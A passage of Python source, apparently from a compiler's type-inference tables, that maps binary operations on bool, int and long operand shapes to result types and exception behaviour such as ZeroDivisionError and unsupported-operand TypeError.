operation_result_long_noescape = tshape_long, ControlFlowDescriptionNoEscape
operation_result_intorlong_noescape = tshape_int_or_long, ControlFlowDescriptionNoEscape
operation_result_complex_noescape = tshape_complex, ControlFlowDescriptionNoEscape
operation_result_tuple_noescape = tshape_tuple, ControlFlowDescriptionNoEscape
operation_result_list_noescape = tshape_list, ControlFlowDescriptionNoEscape
operation_result_set_noescape = tshape_set, ControlFlowDescriptionNoEscape
operation_result_frozenset_noescape = tshape_frozenset, ControlFlowDescriptionNoEscape
operation_result_str_noescape = tshape_str, ControlFlowDescriptionNoEscape
operation_result_unicode_noescape = tshape_unicode, ControlFlowDescriptionNoEscape
operation_result_strorunicode_noescape = (
tshape_str_or_unicode,
ControlFlowDescriptionNoEscape,
)
operation_result_bytes_noescape = tshape_bytes, ControlFlowDescriptionNoEscape
operation_result_bytearray_noescape = tshape_bytearray, ControlFlowDescriptionNoEscape
operation_result_dict_noescape = tshape_dict, ControlFlowDescriptionNoEscape
operation_result_dict_valueerror = tshape_dict, ControlFlowDescriptionValueErrorNoEscape
operation_result_bool_elementbased = (
tshape_bool,
ControlFlowDescriptionElementBasedEscape,
)
operation_result_unorderable_comparison = (
tshape_unknown,
ControlFlowDescriptionComparisonUnorderable,
)
operation_result_unsupported_add = tshape_unknown, ControlFlowDescriptionAddUnsupported
operation_result_unsupported_sub = tshape_unknown, ControlFlowDescriptionSubUnsupported
operation_result_unsupported_mul = tshape_unknown, ControlFlowDescriptionMulUnsupported
operation_result_unsupported_floordiv = (
tshape_unknown,
ControlFlowDescriptionFloorDivUnsupported,
)
operation_result_unsupported_truediv = (
tshape_unknown,
ControlFlowDescriptionTrueDivUnsupported,
)
operation_result_unsupported_olddiv = (
tshape_unknown,
ControlFlowDescriptionOldDivUnsupported,
)
operation_result_unsupported_mod = tshape_unknown, ControlFlowDescriptionModUnsupported
operation_result_unsupported_divmod = (
tshape_unknown,
ControlFlowDescriptionDivmodUnsupported,
)
operation_result_unsupported_pow = tshape_unknown, ControlFlowDescriptionPowUnsupported
operation_result_unsupported_bitor = (
tshape_unknown,
ControlFlowDescriptionBitorUnsupported,
)
operation_result_unsupported_bitand = (
tshape_unknown,
ControlFlowDescriptionBitandUnsupported,
)
operation_result_unsupported_bitxor = (
tshape_unknown,
ControlFlowDescriptionBitxorUnsupported,
)
operation_result_unsupported_lshift = (
tshape_unknown,
ControlFlowDescriptionLshiftUnsupported,
)
operation_result_unsupported_rshift = (
tshape_unknown,
ControlFlowDescriptionRshiftUnsupported,
)
operation_result_unsupported_matmult = (
tshape_unknown,
ControlFlowDescriptionMatmultUnsupported,
)
# ZeroDivisionError can occur for some module and division operations, otherwise they
# are fixed type.
operation_result_zerodiv_int = tshape_int, ControlFlowDescriptionZeroDivisionNoEscape
operation_result_zerodiv_long = (
tshape_long,
ControlFlowDescriptionZeroDivisionNoEscape,
)
operation_result_zerodiv_intorlong = (
tshape_int_or_long,
ControlFlowDescriptionZeroDivisionNoEscape,
)
operation_result_zerodiv_float = (
tshape_float,
ControlFlowDescriptionZeroDivisionNoEscape,
)
operation_result_zerodiv_complex = (
tshape_complex,
ControlFlowDescriptionZeroDivisionNoEscape,
)
operation_result_zerodiv_tuple = (
tshape_tuple,
ControlFlowDescriptionZeroDivisionNoEscape,
)
operation_result_valueerror_intorlong = (
tshape_int_or_long,
ControlFlowDescriptionValueErrorNoEscape,
)
operation_result_valueerror_long = (
tshape_long,
ControlFlowDescriptionValueErrorNoEscape,
)
# Format operations can do many things.
operation_result_str_formaterror = (tshape_str, ControlFlowDescriptionFormatError)
operation_result_unicode_formaterror = (
tshape_unicode,
ControlFlowDescriptionFormatError,
)
operation_result_bytes_formaterror = (tshape_bytes, ControlFlowDescriptionFormatError)
operation_result_bytearray_formaterror = (
tshape_bytearray,
ControlFlowDescriptionFormatError,
)
# Prepared values, reject everything.
def _rejectEverything(shapes, operation_unsupported):
shapes.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# None really hates everything concrete for all operations.
tshape_int: operation_unsupported,
tshape_long: operation_unsupported,
tshape_int_or_long: operation_unsupported,
tshape_bool: operation_unsupported,
tshape_long: operation_unsupported,
tshape_float: operation_unsupported,
tshape_complex: operation_unsupported,
# Sequence repeat:
tshape_str: operation_unsupported,
tshape_bytes: operation_unsupported,
tshape_bytearray: operation_unsupported,
tshape_unicode: operation_unsupported,
tshape_tuple: operation_unsupported,
tshape_list: operation_unsupported,
# Unsupported:
tshape_set: operation_unsupported,
tshape_frozenset: operation_unsupported,
tshape_dict: operation_unsupported,
tshape_type: operation_unsupported,
tshape_none: operation_unsupported,
}
)
_rejectEverything(add_shapes_none, operation_result_unsupported_add)
_rejectEverything(sub_shapes_none, operation_result_unsupported_sub)
_rejectEverything(mult_shapes_none, operation_result_unsupported_mul)
_rejectEverything(floordiv_shapes_none, operation_result_unsupported_floordiv)
_rejectEverything(truediv_shapes_none, operation_result_unsupported_truediv)
_rejectEverything(olddiv_shapes_none, operation_result_unsupported_olddiv)
_rejectEverything(mod_shapes_none, operation_result_unsupported_mod)
_rejectEverything(divmod_shapes_none, operation_result_unsupported_divmod)
_rejectEverything(pow_shapes_none, operation_result_unsupported_pow)
_rejectEverything(bitor_shapes_none, operation_result_unsupported_bitor)
_rejectEverything(bitand_shapes_none, operation_result_unsupported_bitand)
_rejectEverything(bitxor_shapes_none, operation_result_unsupported_bitxor)
_rejectEverything(lshift_shapes_none, operation_result_unsupported_lshift)
_rejectEverything(rshift_shapes_none, operation_result_unsupported_rshift)
_rejectEverything(matmult_shapes_none, operation_result_unsupported_rshift)
def cloneWithUnsupportedChange(op_shapes, operation_result_unsupported):
r = {}
for key, value in op_shapes.items():
if value[1].getExceptionExit() is TypeError:
value = operation_result_unsupported
r[key] = value
return r
add_shapes_bool.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_intorlong_noescape,
tshape_long: operation_result_long_noescape,
tshape_int_or_long: operation_result_intorlong_noescape,
tshape_bool: operation_result_int_noescape,
tshape_long: operation_result_long_noescape,
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat:
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
sub_shapes_bool.update(
cloneWithUnsupportedChange(add_shapes_bool, operation_result_unsupported_sub)
)
mult_shapes_bool.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_int_noescape,
tshape_long: operation_result_long_noescape,
tshape_int_or_long: operation_result_intorlong_noescape,
tshape_bool: operation_result_int_noescape,
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat:
tshape_str: operation_result_str_noescape,
tshape_bytes: operation_result_bytes_noescape,
tshape_bytearray: operation_result_bytearray_noescape,
tshape_unicode: operation_result_unicode_noescape,
tshape_tuple: operation_result_tuple_noescape,
tshape_list: operation_result_list_noescape,
# Unsupported:
tshape_set: operation_result_unsupported_mul,
tshape_frozenset: operation_result_unsupported_mul,
tshape_dict: operation_result_unsupported_mul,
tshape_type: operation_result_unsupported_mul,
tshape_none: operation_result_unsupported_mul,
}
)
floordiv_shapes_bool.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Ints do math
tshape_int: operation_result_zerodiv_int,
tshape_long: operation_result_zerodiv_long,
tshape_int_or_long: operation_result_zerodiv_intorlong,
tshape_bool: operation_result_zerodiv_int,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_floordiv,
tshape_bytes: operation_result_unsupported_floordiv,
tshape_bytearray: operation_result_unsupported_floordiv,
tshape_unicode: operation_result_unsupported_floordiv,
tshape_tuple: operation_result_unsupported_floordiv,
tshape_list: operation_result_unsupported_floordiv,
tshape_set: operation_result_unsupported_floordiv,
tshape_frozenset: operation_result_unsupported_floordiv,
tshape_dict: operation_result_unsupported_floordiv,
tshape_type: operation_result_unsupported_floordiv,
tshape_none: operation_result_unsupported_floordiv,
}
)
truediv_shapes_bool.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Bool act mostly like 0 or 1 int.
tshape_int: operation_result_zerodiv_float,
tshape_long: operation_result_zerodiv_float,
tshape_int_or_long: operation_result_zerodiv_float,
tshape_bool: operation_result_zerodiv_float,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_truediv,
tshape_bytes: operation_result_unsupported_truediv,
tshape_bytearray: operation_result_unsupported_truediv,
tshape_unicode: operation_result_unsupported_truediv,
tshape_tuple: operation_result_unsupported_truediv,
tshape_list: operation_result_unsupported_truediv,
tshape_set: operation_result_unsupported_truediv,
tshape_frozenset: operation_result_unsupported_truediv,
tshape_dict: operation_result_unsupported_truediv,
tshape_type: operation_result_unsupported_truediv,
tshape_none: operation_result_unsupported_truediv,
}
)
olddiv_shapes_bool.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Bool act mostly like 0 or 1 int.
tshape_int: operation_result_zerodiv_int,
tshape_long: operation_result_zerodiv_long,
tshape_int_or_long: operation_result_zerodiv_intorlong,
tshape_bool: operation_result_zerodiv_int,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_olddiv,
tshape_bytes: operation_result_unsupported_olddiv,
tshape_bytearray: operation_result_unsupported_olddiv,
tshape_unicode: operation_result_unsupported_olddiv,
tshape_tuple: operation_result_unsupported_olddiv,
tshape_list: operation_result_unsupported_olddiv,
tshape_set: operation_result_unsupported_olddiv,
tshape_dict: operation_result_unsupported_olddiv,
tshape_type: operation_result_unsupported_olddiv,
tshape_none: operation_result_unsupported_olddiv,
}
)
mod_shapes_bool.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_zerodiv_int,
tshape_long: operation_result_zerodiv_long,
tshape_int_or_long: operation_result_zerodiv_intorlong,
tshape_bool: operation_result_zerodiv_int,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex
if python_version < 0x300
else operation_result_unsupported_mod,
# Unsupported:
tshape_str: operation_result_unsupported_mod,
tshape_bytes: operation_result_unsupported_mod,
tshape_bytearray: operation_result_unsupported_mod,
tshape_unicode: operation_result_unsupported_mod,
tshape_tuple: operation_result_unsupported_mod,
tshape_list: operation_result_unsupported_mod,
tshape_set: operation_result_unsupported_mod,
tshape_frozenset: operation_result_unsupported_mod,
tshape_dict: operation_result_unsupported_mod,
tshape_type: operation_result_unsupported_mod,
tshape_none: operation_result_unsupported_mod,
}
)
divmod_shapes_bool.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Divmod makes tuples of 2 elements
tshape_int: operation_result_zerodiv_tuple,
tshape_long: operation_result_zerodiv_tuple,
tshape_int_or_long: operation_result_zerodiv_tuple,
tshape_bool: operation_result_zerodiv_tuple,
tshape_float: operation_result_zerodiv_tuple,
tshape_complex: operation_result_zerodiv_tuple,
# Unsupported:
tshape_str: operation_result_unsupported_divmod,
tshape_bytes: operation_result_unsupported_divmod,
tshape_bytearray: operation_result_unsupported_divmod,
tshape_unicode: operation_result_unsupported_divmod,
tshape_tuple: operation_result_unsupported_divmod,
tshape_list: operation_result_unsupported_divmod,
tshape_set: operation_result_unsupported_divmod,
tshape_frozenset: operation_result_unsupported_divmod,
tshape_dict: operation_result_unsupported_divmod,
tshape_type: operation_result_unsupported_divmod,
tshape_none: operation_result_unsupported_divmod,
}
)
pow_shapes_bool.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_unknown, # TODO: operation_result_zerodiv_intorfloat,
tshape_long: operation_result_unknown, # TODO: operation_result_zerodiv_longorfloat,
tshape_int_or_long: operation_result_unknown, # TODO: operation_result_izerodiv_ntorlongorfloat,
tshape_bool: operation_result_int_noescape,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_pow,
tshape_bytes: operation_result_unsupported_pow,
tshape_bytearray: operation_result_unsupported_pow,
tshape_unicode: operation_result_unsupported_pow,
tshape_tuple: operation_result_unsupported_pow,
tshape_list: operation_result_unsupported_pow,
tshape_set: operation_result_unsupported_pow,
tshape_frozenset: operation_result_unsupported_pow,
tshape_dict: operation_result_unsupported_pow,
tshape_type: operation_result_unsupported_pow,
tshape_none: operation_result_unsupported_pow,
}
)
bitor_shapes_bool.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_int_noescape,
tshape_long: operation_result_long_noescape,
tshape_int_or_long: operation_result_intorlong_noescape,
tshape_bool: operation_result_bool_noescape,
# Unsupported:
tshape_float: operation_result_unsupported_bitor,
tshape_complex: operation_result_unsupported_bitor,
tshape_str: operation_result_unsupported_bitor,
tshape_bytes: operation_result_unsupported_bitor,
tshape_bytearray: operation_result_unsupported_bitor,
tshape_unicode: operation_result_unsupported_bitor,
tshape_tuple: operation_result_unsupported_bitor,
tshape_list: operation_result_unsupported_bitor,
tshape_set: operation_result_unsupported_bitor,
tshape_frozenset: operation_result_unsupported_bitor,
tshape_dict: operation_result_unsupported_bitor,
tshape_type: operation_result_unsupported_bitor,
tshape_none: operation_result_unsupported_bitor,
}
)
bitand_shapes_bool.update(
cloneWithUnsupportedChange(bitor_shapes_bool, operation_result_unsupported_bitand)
)
bitxor_shapes_bool.update(
cloneWithUnsupportedChange(bitor_shapes_bool, operation_result_unsupported_bitand)
)
lshift_shapes_bool.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_valueerror_intorlong,
tshape_long: operation_result_valueerror_long,
tshape_int_or_long: operation_result_valueerror_intorlong,
tshape_bool: operation_result_valueerror_intorlong,
# Unsupported:
tshape_float: operation_result_unsupported_lshift,
tshape_complex: operation_result_unsupported_lshift,
tshape_str: operation_result_unsupported_lshift,
tshape_bytes: operation_result_unsupported_lshift,
tshape_bytearray: operation_result_unsupported_lshift,
tshape_unicode: operation_result_unsupported_lshift,
tshape_tuple: operation_result_unsupported_lshift,
tshape_list: operation_result_unsupported_lshift,
tshape_set: operation_result_unsupported_lshift,
tshape_frozenset: operation_result_unsupported_lshift,
tshape_dict: operation_result_unsupported_lshift,
tshape_type: operation_result_unsupported_lshift,
tshape_none: operation_result_unsupported_lshift,
}
)
rshift_shapes_bool.update(
cloneWithUnsupportedChange(lshift_shapes_bool, operation_result_unsupported_rshift)
)
add_shapes_int.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_intorlong_noescape,
tshape_long: operation_result_long_noescape,
tshape_int_or_long: operation_result_intorlong_noescape,
tshape_bool: operation_result_intorlong_noescape,
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Unsupported:
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
sub_shapes_int.update(
cloneWithUnsupportedChange(add_shapes_int, operation_result_unsupported_sub)
)
mult_shapes_int.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_intorlong_noescape,
tshape_long: operation_result_long_noescape,
tshape_int_or_long: operation_result_intorlong_noescape,
tshape_bool: operation_result_int_noescape, # cannot overflow
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat:
tshape_str: operation_result_str_noescape,
tshape_bytes: operation_result_bytes_noescape,
tshape_bytearray: operation_result_bytearray_noescape,
tshape_unicode: operation_result_unicode_noescape,
tshape_tuple: operation_result_tuple_noescape,
tshape_list: operation_result_list_noescape,
# Unsupported:
tshape_set: operation_result_unsupported_mul,
tshape_frozenset: operation_result_unsupported_mul,
tshape_dict: operation_result_unsupported_mul,
tshape_type: operation_result_unsupported_mul,
tshape_none: operation_result_unsupported_mul,
}
)
floordiv_shapes_int.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# ints do math ops
tshape_int: operation_result_zerodiv_intorlong,
tshape_long: operation_result_zerodiv_long,
tshape_int_or_long: operation_result_zerodiv_intorlong,
tshape_bool: operation_result_zerodiv_int,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_floordiv,
tshape_bytes: operation_result_unsupported_floordiv,
tshape_bytearray: operation_result_unsupported_floordiv,
tshape_unicode: operation_result_unsupported_floordiv,
tshape_tuple: operation_result_unsupported_floordiv,
tshape_list: operation_result_unsupported_floordiv,
tshape_set: operation_result_unsupported_floordiv,
tshape_frozenset: operation_result_unsupported_floordiv,
tshape_dict: operation_result_unsupported_floordiv,
tshape_type: operation_result_unsupported_floordiv,
tshape_none: operation_result_unsupported_floordiv,
}
)
truediv_shapes_int.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# ints do math ops
tshape_int: operation_result_zerodiv_float,
tshape_long: operation_result_zerodiv_float,
tshape_int_or_long: operation_result_zerodiv_float,
tshape_bool: operation_result_zerodiv_float,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_truediv,
tshape_bytes: operation_result_unsupported_truediv,
tshape_bytearray: operation_result_unsupported_truediv,
tshape_unicode: operation_result_unsupported_truediv,
tshape_tuple: operation_result_unsupported_truediv,
tshape_list: operation_result_unsupported_truediv,
tshape_set: operation_result_unsupported_truediv,
tshape_frozenset: operation_result_unsupported_truediv,
tshape_dict: operation_result_unsupported_truediv,
tshape_type: operation_result_unsupported_truediv,
tshape_none: operation_result_unsupported_truediv,
}
)
olddiv_shapes_int.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# ints do math
tshape_int: operation_result_zerodiv_intorlong,
tshape_long: operation_result_zerodiv_long,
tshape_int_or_long: operation_result_zerodiv_intorlong,
tshape_bool: operation_result_zerodiv_int,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex,
# Unsupported:
tshape_str: operation_result_unsupported_olddiv,
tshape_bytes: operation_result_unsupported_olddiv,
tshape_bytearray: operation_result_unsupported_olddiv,
tshape_unicode: operation_result_unsupported_olddiv,
tshape_tuple: operation_result_unsupported_olddiv,
tshape_list: operation_result_unsupported_olddiv,
tshape_set: operation_result_unsupported_olddiv,
tshape_dict: operation_result_unsupported_olddiv,
tshape_type: operation_result_unsupported_olddiv,
tshape_none: operation_result_unsupported_olddiv,
}
)
mod_shapes_int.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# ints do math
tshape_int: operation_result_zerodiv_intorlong,
tshape_long: operation_result_zerodiv_long,
tshape_int_or_long: operation_result_zerodiv_intorlong,
tshape_bool: operation_result_zerodiv_int,
tshape_float: operation_result_zerodiv_float,
tshape_complex: operation_result_zerodiv_complex
if python_version < 0x300
else operation_result_unsupported_mod,
# Unsupported:
tshape_str: operation_result_unsupported_mod,
tshape_bytes: operation_result_unsupported_mod,
tshape_bytearray: operation_result_unsupported_mod,
tshape_unicode: operation_result_unsupported_mod,
tshape_tuple: operation_result_unsupported_mod,
tshape_list: operation_result_unsupported_mod,
tshape_set: operation_result_unsupported_mod,
tshape_frozenset: operation_result_unsupported_mod,
tshape_dict: operation_result_unsupported_mod,
tshape_type: operation_result_unsupported_mod,
tshape_none: operation_result_unsupported_mod,
}
)
pow_shapes_int.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_unknown, # TODO: operation_result_intorlongorfloat,
tshape_long: operation_result_unknown, # TODO: operation_result_longorfloat,
tshape_int_or_long: operation_result_unknown, # TODO: operation_result_intorlongorfloat,
tshape_bool: operation_result_int_noescape,
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Unsupported:
tshape_str: operation_result_unsupported_pow,
tshape_bytes: operation_result_unsupported_pow,
tshape_bytearray: operation_result_unsupported_pow,
tshape_unicode: operation_result_unsupported_pow,
tshape_tuple: operation_result_unsupported_pow,
tshape_list: operation_result_unsupported_pow,
tshape_set: operation_result_unsupported_pow,
tshape_frozenset: operation_result_unsupported_pow,
tshape_dict: operation_result_unsupported_pow,
tshape_type: operation_result_unsupported_pow,
tshape_none: operation_result_unsupported_pow,
}
)
bitor_shapes_int.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_int_noescape,
tshape_long: operation_result_long_noescape,
tshape_int_or_long: operation_result_intorlong_noescape,
tshape_bool: operation_result_int_noescape,
# Unsupported:
tshape_float: operation_result_unsupported_bitor,
tshape_complex: operation_result_unsupported_bitor,
tshape_str: operation_result_unsupported_bitor,
tshape_bytes: operation_result_unsupported_bitor,
tshape_bytearray: operation_result_unsupported_bitor,
tshape_unicode: operation_result_unsupported_bitor,
tshape_tuple: operation_result_unsupported_bitor,
tshape_list: operation_result_unsupported_bitor,
tshape_set: operation_result_unsupported_bitor,
tshape_frozenset: operation_result_unsupported_bitor,
tshape_dict: operation_result_unsupported_bitor,
tshape_type: operation_result_unsupported_bitor,
tshape_none: operation_result_unsupported_bitor,
}
)
bitand_shapes_int.update(
cloneWithUnsupportedChange(bitor_shapes_int, operation_result_unsupported_bitand)
)
bitxor_shapes_int.update(
cloneWithUnsupportedChange(bitor_shapes_int, operation_result_unsupported_bitand)
)
lshift_shapes_int.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int keep their type, as bool is 0 or 1 int.
tshape_int: operation_result_valueerror_intorlong,
tshape_long: operation_result_valueerror_long,
tshape_int_or_long: operation_result_valueerror_intorlong,
tshape_bool: operation_result_valueerror_intorlong,
# Unsupported:
tshape_float: operation_result_unsupported_lshift,
tshape_complex: operation_result_unsupported_lshift,
tshape_str: operation_result_unsupported_lshift,
tshape_bytes: operation_result_unsupported_lshift,
tshape_bytearray: operation_result_unsupported_lshift,
tshape_unicode: operation_result_unsupported_lshift,
tshape_tuple: operation_result_unsupported_lshift,
tshape_list: operation_result_unsupported_lshift,
tshape_set: operation_result_unsupported_lshift,
tshape_frozenset: operation_result_unsupported_lshift,
tshape_dict: operation_result_unsupported_lshift,
tshape_type: operation_result_unsupported_lshift,
tshape_none: operation_result_unsupported_lshift,
}
)
rshift_shapes_int.update(
cloneWithUnsupportedChange(lshift_shapes_int, operation_result_unsupported_rshift)
)
add_shapes_long.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_long_noescape,
tshape_long: operation_result_long_noescape,
tshape_int_or_long: operation_result_long_noescape,
tshape_bool: operation_result_long_noescape,
tshape_float: operation_result_float_noescape,
tshape_complex: operation_result_complex_noescape,
# Sequence repeat:
tshape_str: operation_result_unsupported_add,
tshape_bytes: operation_result_unsupported_add,
tshape_bytearray: operation_result_unsupported_add,
tshape_unicode: operation_result_unsupported_add,
tshape_tuple: operation_result_unsupported_add,
tshape_list: operation_result_unsupported_add,
# Unsupported:
tshape_set: operation_result_unsupported_add,
tshape_frozenset: operation_result_unsupported_add,
tshape_dict: operation_result_unsupported_add,
tshape_type: operation_result_unsupported_add,
tshape_none: operation_result_unsupported_add,
}
)
sub_shapes_long.update(
{
# Standard
tshape_unknown: operation_result_unknown,
tshape_long_derived: operation_result_unknown,
tshape_int_or_long_derived: operation_result_unknown,
tshape_float_derived: operation_result_unknown,
tshape_str_derived: operation_result_unknown,
tshape_unicode_derived: operation_result_unknown,
tshape_bytes_derived: operation_result_unknown,
# Int might turn into long when growing due to possible overflow.
tshape_int: operation_result_long_noescape,
tshape_long: operation_result_long_noescape,
tshape_int_or_long: operation_result_long_noescape,
tshape_bool: operation_result_long_noescape,
